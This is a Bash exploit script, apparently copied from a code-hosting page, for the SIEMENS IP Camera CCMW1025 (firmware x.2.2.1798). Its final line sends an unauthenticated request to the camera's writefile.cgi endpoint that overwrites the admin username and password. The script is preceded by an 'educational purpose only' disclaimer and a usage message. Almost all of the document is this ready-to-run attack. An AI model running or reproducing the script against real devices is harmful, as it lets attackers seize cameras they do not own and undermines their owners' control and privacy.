44 lines
No EOL
1.7 KiB
Bash
Executable file
44 lines
No EOL
1.7 KiB
Bash
Executable file
#!/bin/bash
|
|
#
|
|
# SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password
|
|
#
|
|
# Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
|
|
# http://www.ethical-hacker.org/
|
|
# https://www.facebook.com/ethicalhackerorg
|
|
#
|
|
# Disclaimer:
|
|
# This or previous programs is for Educational
|
|
# purpose ONLY. Do not use it without permission.
|
|
# The usual disclaimer applies, especially the
|
|
# fact that Todor Donev is not liable for any
|
|
# damages caused by direct or indirect use of the
|
|
# information or functionality provided by these
|
|
# programs. The author or any Internet provider
|
|
# bears NO responsibility for content or misuse
|
|
# of these programs or any derivatives thereof.
|
|
# By using these programs you accept the fact
|
|
# that any damage (dataloss, system crash,
|
|
# system compromise, etc.) caused by the use
|
|
# of these programs is not Todor Donev's
|
|
# responsibility.
|
|
#
|
|
# Use them at your own risk!
|
|
#
|
|
#
|
|
|
|
if [[ $# -gt 4 || $# -lt 3 ]]; then
|
|
echo " [ SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password"
|
|
echo " [ =================================================="
|
|
echo " [ Usage: $0 <target> <user> <password> <repeat password>"
|
|
echo " [ Example: $0 192.168.1.200:80 hacker teflon teflon"
|
|
echo " ["
|
|
echo " [ Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>"
|
|
echo " [ http://www.ethical-hacker.org/ https://www.facebook.com/ethicalhackerorg "
|
|
exit;
|
|
fi
|
|
GET=`which GET 2>/dev/null`
|
|
if [ $? -ne 0 ]; then
|
|
echo " [ Error : libwww-perl not found =/"
|
|
exit;
|
|
fi
|
|
GET "http://$1/cgi-bin/writefile.cgi?DEFonoff_adm=&Adm_ID=$2&Adm_Pass1=$3&Adm_Pass2=$4&Language=en&Logoff_Time=0&UpSectionName=ADMINID" 0&> /dev/null <&1 |